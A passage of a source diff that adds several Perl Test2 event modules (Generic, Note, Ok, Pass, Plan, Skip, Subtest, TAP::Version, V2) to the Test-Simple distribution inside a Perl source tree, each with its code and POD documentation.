+ my $set = "set_$field";
+ $self->$set($val);
+ }
+}
+
+for my $field (@FIELDS) {
+ no strict 'refs';
+
+ *$field = sub { exists $_[0]->{$field} ? $_[0]->{$field} : () }
+ unless exists &{$field};
+
+ *{"set_$field"} = sub { $_[0]->{$field} = $_[1] }
+ unless exists &{"set_$field"};
+}
+
+sub can {
+ my $self = shift;
+ my ($name) = @_;
+ return $self->SUPER::can($name) unless $name eq 'callback';
+ return $self->{callback} || \&Test2::Event::callback;
+}
+
+sub facet_data {
+ my $self = shift;
+ return $self->{facet_data} || $self->SUPER::facet_data();
+}
+
+sub summary {
+ my $self = shift;
+ return $self->{summary} if defined $self->{summary};
+ $self->SUPER::summary();
+}
+
+sub sets_plan {
+ my $self = shift;
+ return unless $self->{sets_plan};
+ return @{$self->{sets_plan}};
+}
+
+sub callback {
+ my $self = shift;
+ my $cb = $self->{callback} || return;
+ $self->$cb(@_);
+}
+
+sub set_global {
+ my $self = shift;
+ my ($bool) = @_;
+
+ if(!defined $bool) {
+ delete $self->{global};
+ return undef;
+ }
+
+ $self->{global} = $bool;
+}
+
+sub set_callback {
+ my $self = shift;
+ my ($cb) = @_;
+
+ if(!defined $cb) {
+ delete $self->{callback};
+ return undef;
+ }
+
+ croak "callback must be a code reference"
+ unless ref($cb) && reftype($cb) eq 'CODE';
+
+ $self->{callback} = $cb;
+}
+
+sub set_terminate {
+ my $self = shift;
+ my ($exit) = @_;
+
+ if(!defined $exit) {
+ delete $self->{terminate};
+ return undef;
+ }
+
+ croak "terminate must be a positive integer"
+ unless $exit =~ m/^\d+$/;
+
+ $self->{terminate} = $exit;
+}
+
+sub set_sets_plan {
+ my $self = shift;
+ my ($plan) = @_;
+
+ if(!defined $plan) {
+ delete $self->{sets_plan};
+ return undef;
+ }
+
+ croak "'sets_plan' must be an array reference"
+ unless ref($plan) && reftype($plan) eq 'ARRAY';
+
+ $self->{sets_plan} = $plan;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Generic - Generic event type.
+
+=head1 DESCRIPTION
+
+This is a generic event that lets you customize all fields in the event API.
+This is useful if you have need for a custom event that does not make sense as
+a published reusable event subclass.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+
+ sub send_custom_fail {
+ my $ctx = shift;
+
+ $ctx->send_event('Generic', causes_fail => 1, summary => 'The sky is falling');
+
+ $ctx->release;
+ }
+
+ send_custom_fail();
+
+=head1 METHODS
+
+=over 4
+
+=item $e->facet_data($data)
+
+=item $data = $e->facet_data
+
+Get or set the facet data (see L<Test2::Event>). If no facet_data is set then
+C<< Test2::Event->facet_data >> will be called to produce facets from the other
+data.
+
+=item $e->callback($hub)
+
+Call the custom callback if one is set, otherwise this does nothing.
+
+=item $e->set_callback(sub { ... })
+
+Set the custom callback. The custom callback must be a coderef. The first
+argument to your callback will be the event itself, the second will be the
+L<Test2::Event::Hub> that is using the callback.
+
+=item $bool = $e->causes_fail
+
+=item $e->set_causes_fail($bool)
+
+Get/Set the C<causes_fail> attribute. This defaults to C<0>.
+
+=item $bool = $e->diagnostics
+
+=item $e->set_diagnostics($bool)
+
+Get/Set the C<diagnostics> attribute. This defaults to C<0>.
+
+=item $bool_or_undef = $e->global
+
+=item @bool_or_empty = $e->global
+
+=item $e->set_global($bool_or_undef)
+
+Get/Set the C<diagnostics> attribute. This defaults to an empty list which is
+undef in scalar context.
+
+=item $bool = $e->increments_count
+
+=item $e->set_increments_count($bool)
+
+Get/Set the C<increments_count> attribute. This defaults to C<0>.
+
+=item $bool = $e->no_display
+
+=item $e->set_no_display($bool)
+
+Get/Set the C<no_display> attribute. This defaults to C<0>.
+
+=item @plan = $e->sets_plan
+
+Get the plan if this event sets one. The plan is a list of up to 3 items:
+C<($count, $directive, $reason)>. C<$count> must be defined, the others may be
+undef, or may not exist at all.
+
+=item $e->set_sets_plan(\@plan)
+
+Set the plan. You must pass in an arrayref with up to 3 elements.
+
+=item $summary = $e->summary
+
+=item $e->set_summary($summary_or_undef)
+
+Get/Set the summary. This will default to the event package
+C<'Test2::Event::Generic'>. You can set it to any value. Setting this to
+C<undef> will reset it to the default.
+
+=item $int_or_undef = $e->terminate
+
+=item @int_or_empty = $e->terminate
+
+=item $e->set_terminate($int_or_undef)
+
+This will get/set the C<terminate> attribute. This defaults to undef in scalar
+context, or an empty list in list context. Setting this to undef will clear it
+completely. This must be set to a positive integer (0 or larger).
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Note.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Note.pm
new file mode 100644
index 00000000000..2fb1d0d6b9d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Note.pm
@@ -0,0 +1,97 @@
+package Test2::Event::Note;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase qw/message/;
+
+sub init {
+ $_[0]->{+MESSAGE} = 'undef' unless defined $_[0]->{+MESSAGE};
+}
+
+sub summary { $_[0]->{+MESSAGE} }
+
+sub facet_data {
+ my $self = shift;
+
+ my $out = $self->common_facet_data;
+
+ $out->{info} = [
+ {
+ tag => 'NOTE',
+ debug => 0,
+ details => $self->{+MESSAGE},
+ }
+ ];
+
+ return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Note - Note event type
+
+=head1 DESCRIPTION
+
+Notes, typically rendered to STDOUT.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+ use Test2::Event::Note;
+
+ my $ctx = context();
+ my $event = $ctx->Note($message);
+
+=head1 ACCESSORS
+
+=over 4
+
+=item $note->message
+
+The message for the note.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Ok.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Ok.pm
new file mode 100644
index 00000000000..fb9a8db529b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Ok.pm
@@ -0,0 +1,162 @@
+package Test2::Event::Ok;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase qw{
+ pass effective_pass name todo
+};
+
+sub init {
+ my $self = shift;
+
+ # Do not store objects here, only true or false
+ $self->{+PASS} = $self->{+PASS} ? 1 : 0;
+ $self->{+EFFECTIVE_PASS} = $self->{+PASS} || (defined($self->{+TODO}) ? 1 : 0);
+}
+
+{
+ no warnings 'redefine';
+ sub set_todo {
+ my $self = shift;
+ my ($todo) = @_;
+ $self->{+TODO} = $todo;
+ $self->{+EFFECTIVE_PASS} = defined($todo) ? 1 : $self->{+PASS};
+ }
+}
+
+sub increments_count { 1 };
+
+sub causes_fail { !$_[0]->{+EFFECTIVE_PASS} }
+
+sub summary {
+ my $self = shift;
+
+ my $name = $self->{+NAME} || "Nameless Assertion";
+
+ my $todo = $self->{+TODO};
+ if ($todo) {
+ $name .= " (TODO: $todo)";
+ }
+ elsif (defined $todo) {
+ $name .= " (TODO)"
+ }
+
+ return $name;
+}
+
+sub extra_amnesty {
+ my $self = shift;
+ return unless defined($self->{+TODO}) || ($self->{+EFFECTIVE_PASS} && !$self->{+PASS});
+ return {
+ tag => 'TODO',
+ details => $self->{+TODO},
+ };
+}
+
+sub facet_data {
+ my $self = shift;
+
+ my $out = $self->common_facet_data;
+
+ $out->{assert} = {
+ no_debug => 1, # Legacy behavior
+ pass => $self->{+PASS},
+ details => $self->{+NAME},
+ };
+
+ if (my @exra_amnesty = $self->extra_amnesty) {
+ unshift @{$out->{amnesty}} => @exra_amnesty;
+ }
+
+ return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Ok - Ok event type
+
+=head1 DESCRIPTION
+
+Ok events are generated whenever you run a test that produces a result.
+Examples are C<ok()>, and C<is()>.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+ use Test2::Event::Ok;
+
+ my $ctx = context();
+ my $event = $ctx->ok($bool, $name, \@diag);
+
+or:
+
+ my $ctx = context();
+ my $event = $ctx->send_event(
+ 'Ok',
+ pass => $bool,
+ name => $name,
+ );
+
+=head1 ACCESSORS
+
+=over 4
+
+=item $rb = $e->pass
+
+The original true/false value of whatever was passed into the event (but
+reduced down to 1 or 0).
+
+=item $name = $e->name
+
+Name of the test.
+
+=item $b = $e->effective_pass
+
+This is the true/false value of the test after TODO and similar modifiers are
+taken into account.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Pass.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Pass.pm
new file mode 100644
index 00000000000..78fe1b2f3f8
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Pass.pm
@@ -0,0 +1,114 @@
+package Test2::Event::Pass;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Test2::EventFacet::Info;
+
+BEGIN {
+ require Test2::Event;
+ our @ISA = qw(Test2::Event);
+ *META_KEY = \&Test2::Util::ExternalMeta::META_KEY;
+}
+
+use Test2::Util::HashBase qw{ -name -info };
+
+##############
+# Old API
+sub summary { "pass" }
+sub increments_count { 1 }
+sub causes_fail { 0 }
+sub diagnostics { 0 }
+sub no_display { 0 }
+sub subtest_id { undef }
+sub terminate { () }
+sub global { () }
+sub sets_plan { () }
+
+##############
+# New API
+
+sub add_info {
+ my $self = shift;
+
+ for my $in (@_) {
+ $in = {%$in} if ref($in) ne 'ARRAY';
+ $in = Test2::EventFacet::Info->new($in);
+
+ push @{$self->{+INFO}} => $in;
+ }
+}
+
+sub facet_data {
+ my $self = shift;
+
+ my $out = $self->common_facet_data;
+
+ $out->{about}->{details} = 'pass';
+
+ $out->{assert} = {pass => 1, details => $self->{+NAME}};
+
+ $out->{info} = [map {{ %{$_} }} @{$self->{+INFO}}] if $self->{+INFO};
+
+ return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Pass - Event for a simple passing assertion
+
+=head1 DESCRIPTION
+
+This is an optimal representation of a passing assertion.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+
+ sub pass {
+ my ($name) = @_;
+ my $ctx = context();
+ $ctx->pass($name);
+ $ctx->release;
+ }
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Plan.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Plan.pm
new file mode 100644
index 00000000000..a75e14d687e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Plan.pm
@@ -0,0 +1,169 @@
+package Test2::Event::Plan;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase qw{max directive reason};
+
+use Carp qw/confess/;
+
+my %ALLOWED = (
+ 'SKIP' => 1,
+ 'NO PLAN' => 1,
+);
+
+sub init {
+ if ($_[0]->{+DIRECTIVE}) {
+ $_[0]->{+DIRECTIVE} = 'SKIP' if $_[0]->{+DIRECTIVE} eq 'skip_all';
+ $_[0]->{+DIRECTIVE} = 'NO PLAN' if $_[0]->{+DIRECTIVE} eq 'no_plan';
+
+ confess "'" . $_[0]->{+DIRECTIVE} . "' is not a valid plan directive"
+ unless $ALLOWED{$_[0]->{+DIRECTIVE}};
+ }
+ else {
+ confess "Cannot have a reason without a directive!"
+ if defined $_[0]->{+REASON};
+
+ confess "No number of tests specified"
+ unless defined $_[0]->{+MAX};
+
+ confess "Plan test count '" . $_[0]->{+MAX} . "' does not appear to be a valid positive integer"
+ unless $_[0]->{+MAX} =~ m/^\d+$/;
+
+ $_[0]->{+DIRECTIVE} = '';
+ }
+}
+
+sub sets_plan {
+ my $self = shift;
+ return (
+ $self->{+MAX},
+ $self->{+DIRECTIVE},
+ $self->{+REASON},
+ );
+}
+
+sub terminate {
+ my $self = shift;
+ # On skip_all we want to terminate the hub
+ return 0 if $self->{+DIRECTIVE} && $self->{+DIRECTIVE} eq 'SKIP';
+ return undef;
+}
+
+sub summary {
+ my $self = shift;
+ my $max = $self->{+MAX};
+ my $directive = $self->{+DIRECTIVE};
+ my $reason = $self->{+REASON};
+
+ return "Plan is $max assertions"
+ if $max || !$directive;
+
+ return "Plan is '$directive', $reason"
+ if $reason;
+
+ return "Plan is '$directive'";
+}
+
+sub facet_data {
+ my $self = shift;
+
+ my $out = $self->common_facet_data;
+
+ $out->{control}->{terminate} = $self->{+DIRECTIVE} eq 'SKIP' ? 0 : undef
+ unless defined $out->{control}->{terminate};
+
+ $out->{plan} = {count => $self->{+MAX}};
+ $out->{plan}->{details} = $self->{+REASON} if defined $self->{+REASON};
+
+ if (my $dir = $self->{+DIRECTIVE}) {
+ $out->{plan}->{skip} = 1 if $dir eq 'SKIP';
+ $out->{plan}->{none} = 1 if $dir eq 'NO PLAN';
+ }
+
+ return $out;
+}
+
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Plan - The event of a plan
+
+=head1 DESCRIPTION
+
+Plan events are fired off whenever a plan is declared, done testing is called,
+or a subtext completes.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+ use Test2::Event::Plan;
+
+ my $ctx = context();
+
+ # Plan for 10 tests to run
+ my $event = $ctx->plan(10);
+
+ # Plan to skip all tests (will exit 0)
+ $ctx->plan(0, skip_all => "These tests need to be skipped");
+
+=head1 ACCESSORS
+
+=over 4
+
+=item $num = $plan->max
+
+Get the number of expected tests
+
+=item $dir = $plan->directive
+
+Get the directive (such as TODO, skip_all, or no_plan).
+
+=item $reason = $plan->reason
+
+Get the reason for the directive.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Skip.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Skip.pm
new file mode 100644
index 00000000000..7a2e660f517
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Skip.pm
@@ -0,0 +1,127 @@
+package Test2::Event::Skip;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+BEGIN { require Test2::Event::Ok; our @ISA = qw(Test2::Event::Ok) }
+use Test2::Util::HashBase qw{reason};
+
+sub init {
+ my $self = shift;
+ $self->SUPER::init;
+ $self->{+EFFECTIVE_PASS} = 1;
+}
+
+sub causes_fail { 0 }
+
+sub summary {
+ my $self = shift;
+ my $out = $self->SUPER::summary(@_);
+
+ if (my $reason = $self->reason) {
+ $out .= " (SKIP: $reason)";
+ }
+ else {
+ $out .= " (SKIP)";
+ }
+
+ return $out;
+}
+
+sub extra_amnesty {
+ my $self = shift;
+
+ my @out;
+
+ push @out => {
+ tag => 'TODO',
+ details => $self->{+TODO},
+ } if defined $self->{+TODO};
+
+ push @out => {
+ tag => 'skip',
+ details => $self->{+REASON},
+ inherited => 0,
+ };
+
+ return @out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Skip - Skip event type
+
+=head1 DESCRIPTION
+
+Skip events bump test counts just like L<Test2::Event::Ok> events, but
+they can never fail.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+ use Test2::Event::Skip;
+
+ my $ctx = context();
+ my $event = $ctx->skip($name, $reason);
+
+or:
+
+ my $ctx = context();
+ my $event = $ctx->send_event(
+ 'Skip',
+ name => $name,
+ reason => $reason,
+ );
+
+=head1 ACCESSORS
+
+=over 4
+
+=item $reason = $e->reason
+
+The original true/false value of whatever was passed into the event (but
+reduced down to 1 or 0).
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://www.perl.com/perl/misc/Artistic.html>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Subtest.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Subtest.pm
new file mode 100644
index 00000000000..3feb0f10ca7
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Subtest.pm
@@ -0,0 +1,160 @@
+package Test2::Event::Subtest;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::Event::Ok; our @ISA = qw(Test2::Event::Ok) }
+use Test2::Util::HashBase qw{subevents buffered subtest_id subtest_uuid};
+
+sub init {
+ my $self = shift;
+ $self->SUPER::init();
+ $self->{+SUBEVENTS} ||= [];
+ if ($self->{+EFFECTIVE_PASS}) {
+ $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}};
+ }
+}
+
+{
+ no warnings 'redefine';
+
+ sub set_subevents {
+ my $self = shift;
+ my @subevents = @_;
+
+ if ($self->{+EFFECTIVE_PASS}) {
+ $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @subevents;
+ }
+
+ $self->{+SUBEVENTS} = \@subevents;
+ }
+
+ sub set_effective_pass {
+ my $self = shift;
+ my ($pass) = @_;
+
+ if ($pass) {
+ $_->set_effective_pass(1) for grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}};
+ }
+ elsif ($self->{+EFFECTIVE_PASS} && !$pass) {
+ for my $s (grep { $_->can('effective_pass') } @{$self->{+SUBEVENTS}}) {
+ $_->set_effective_pass(0) unless $s->can('todo') && defined $s->todo;
+ }
+ }
+
+ $self->{+EFFECTIVE_PASS} = $pass;
+ }
+}
+
+sub summary {
+ my $self = shift;
+
+ my $name = $self->{+NAME} || "Nameless Subtest";
+
+ my $todo = $self->{+TODO};
+ if ($todo) {
+ $name .= " (TODO: $todo)";
+ }
+ elsif (defined $todo) {
+ $name .= " (TODO)";
+ }
+
+ return $name;
+}
+
+sub facet_data {
+ my $self = shift;
+
+ my $out = $self->SUPER::facet_data();
+
+ $out->{parent} = {
+ hid => $self->subtest_id,
+ children => [map {$_->facet_data} @{$self->{+SUBEVENTS}}],
+ buffered => $self->{+BUFFERED},
+ };
+
+ return $out;
+}
+
+sub add_amnesty {
+ my $self = shift;
+
+ for my $am (@_) {
+ $am = {%$am} if ref($am) ne 'ARRAY';
+ $am = Test2::EventFacet::Amnesty->new($am);
+
+ push @{$self->{+AMNESTY}} => $am;
+
+ for my $e (@{$self->{+SUBEVENTS}}) {
+ $e->add_amnesty($am->clone(inherited => 1));
+ }
+ }
+}
+
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Subtest - Event for subtest types
+
+=head1 DESCRIPTION
+
+This class represents a subtest. This class is a subclass of
+L<Test2::Event::Ok>.
+
+=head1 ACCESSORS
+
+This class inherits from L<Test2::Event::Ok>.
+
+=over 4
+
+=item $arrayref = $e->subevents
+
+Returns the arrayref containing all the events from the subtest
+
+=item $bool = $e->buffered
+
+True if the subtest is buffered, that is all subevents render at once. If this
+is false it means all subevents render as they are produced.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm
new file mode 100644
index 00000000000..03f2621c0e5
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm
@@ -0,0 +1,101 @@
+package Test2::Event::TAP::Version;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Carp qw/croak/;
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase qw/version/;
+
+sub init {
+ my $self = shift;
+ defined $self->{+VERSION} or croak "'version' is a required attribute";
+}
+
+sub summary { 'TAP version ' . $_[0]->{+VERSION} }
+
+sub facet_data {
+ my $self = shift;
+
+ my $out = $self->common_facet_data;
+
+ $out->{about}->{details} = $self->summary;
+
+ push @{$out->{info}} => {
+ tag => 'INFO',
+ debug => 0,
+ details => $self->summary,
+ };
+
+ return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::TAP::Version - Event for TAP version.
+
+=head1 DESCRIPTION
+
+This event is used if a TAP formatter wishes to set a version.
+
+=head1 SYNOPSIS
+
+ use Test2::API qw/context/;
+ use Test2::Event::Encoding;
+
+ my $ctx = context();
+ my $event = $ctx->send_event('TAP::Version', version => 42);
+
+=head1 METHODS
+
+Inherits from L<Test2::Event>. Also defines:
+
+=over 4
+
+=item $version = $e->version
+
+The TAP version being parsed.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/V2.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/V2.pm
new file mode 100644
index 00000000000..86a44d4c281
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/V2.pm
@@ -0,0 +1,238 @@
+package Test2::Event::V2;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Scalar::Util qw/reftype/;
+use Carp qw/croak/;
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+
+use Test2::Util::Facets2Legacy qw{
+ causes_fail diagnostics global increments_count no_display sets_plan
+ subtest_id summary terminate
+};
+
+use Test2::Util::HashBase qw/-about/;
+
+sub non_facet_keys {
+ return (
+ +UUID,
+ Test2::Util::ExternalMeta::META_KEY(),
+ );
+}
+
+sub init {
+ my $self = shift;
+
+ my $uuid;
+ if ($uuid = $self->{+UUID}) {
+ croak "uuid '$uuid' passed to constructor, but uuid '$self->{+ABOUT}->{uuid}' is already set in the 'about' facet"
+ if $self->{+ABOUT}->{uuid} && $self->{+ABOUT}->{uuid} ne $uuid;
+
+ $self->{+ABOUT}->{uuid} = $uuid;
+ }
+ elsif ($uuid = $self->{+ABOUT}->{uuid}) {
+ $self->SUPER::set_uuid($uuid);
+ }
+
+ # Clone the trace, make sure it is blessed
+ if (my $trace = $self->{+TRACE}) {
+ $self->{+TRACE} = Test2::EventFacet::Trace->new(%$trace);
+ }
+}
+
+sub set_uuid {
+ my $self = shift;
+ my ($uuid) = @_;
+ $self->{+ABOUT}->{uuid} = $uuid;
+ $self->SUPER::set_uuid($uuid);
+}
+
+sub facet_data {
+ my $self = shift;
+ my $f = { %{$self} };
+
+ delete $f->{$_} for $self->non_facet_keys;
+
+ my %out;
+ for my $k (keys %$f) {
+ next if substr($k, 0, 1) eq '_';
+
+ my $data = $f->{$k};
+ my $is_list = reftype($data) eq 'ARRAY';
+ $out{$k} = $is_list ? [ map { {%{$_}} } @$data ] : {%$data};
+ }
+
+ if (my $meta = $self->meta_facet_data) {
+ $out{meta} = {%$meta, %{$out{meta} || {}}};
+ }
+
+ return \%out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::V2 - Second generation event.
+
+=head1 DESCRIPTION
+
+This is the event type that should be used instead of L<Test2::Event> or its
+legacy subclasses.
+
+=head1 SYNOPSIS
+
+=head2 USING A CONTEXT
+
+ use Test2::API qw/context/;
+
+ sub my_tool {
+ my $ctx = context();
+
+ my $event = $ctx->send_ev2(info => [{tag => 'NOTE', details => "This is a note"}]);
+
+ $ctx->release;
+
+ return $event;
+ }
+
+=head2 USING THE CONSTRUCTOR
+
+ use Test2::Event::V2;
+
+ my $e = Test2::Event::V2->new(
+ trace => {frame => [$PKG, $FILE, $LINE, $SUBNAME]},
+ info => [{tag => 'NOTE', details => "This is a note"}],
+ );
+
+=head1 METHODS
+
+This class inherits from L<Test2::Event>.
+
+=over 4
+
+=item $fd = $e->facet_data()
+
+This will return a hashref of facet data. Each facet hash will be a shallow
+copy of the original.
+
+=item $about = $e->about()
+
+This will return the 'about' facet hashref.
+
+B<NOTE:> This will return the internal hashref, not a copy.
+
+=item $trace = $e->trace()
+
+This will return the 'trace' facet, normally blessed (but this is not enforced
+when the trace is set using C<set_trace()>.
+
+B<NOTE:> This will return the internal trace, not a copy.
+
+=back
+
+=head2 MUTATION
+
+=over 4
+
+=item $e->add_amnesty({...})
+
+Inherited from L<Test2::Event>. This can be used to add 'amnesty' facets to an
+existing event. Each new item is added to the B<END> of the list.
+
+B<NOTE:> Items B<ARE> blessed when added.
+
+=item $e->add_hub({...})
+
+Inherited from L<Test2::Event>. This is used by hubs to stamp events as they
+pass through. New items are added to the B<START> of the list.
+
+B<NOTE:> Items B<ARE NOT> blessed when added.
+
+=item $e->set_uuid($UUID)
+
+Inherited from L<Test2::Event>, overridden to also vivify/mutate the 'about'
+facet.
+
+=item $e->set_trace($trace)
+
+Inherited from L<Test2::Event> which allows you to change the trace.
+
+B<Note:> This method does not bless/clone the trace for you. Many things will
+expect the trace to be blessed, so you should probably do that.
+
+=back
+
+=head2 LEGACY SUPPORT METHODS
+
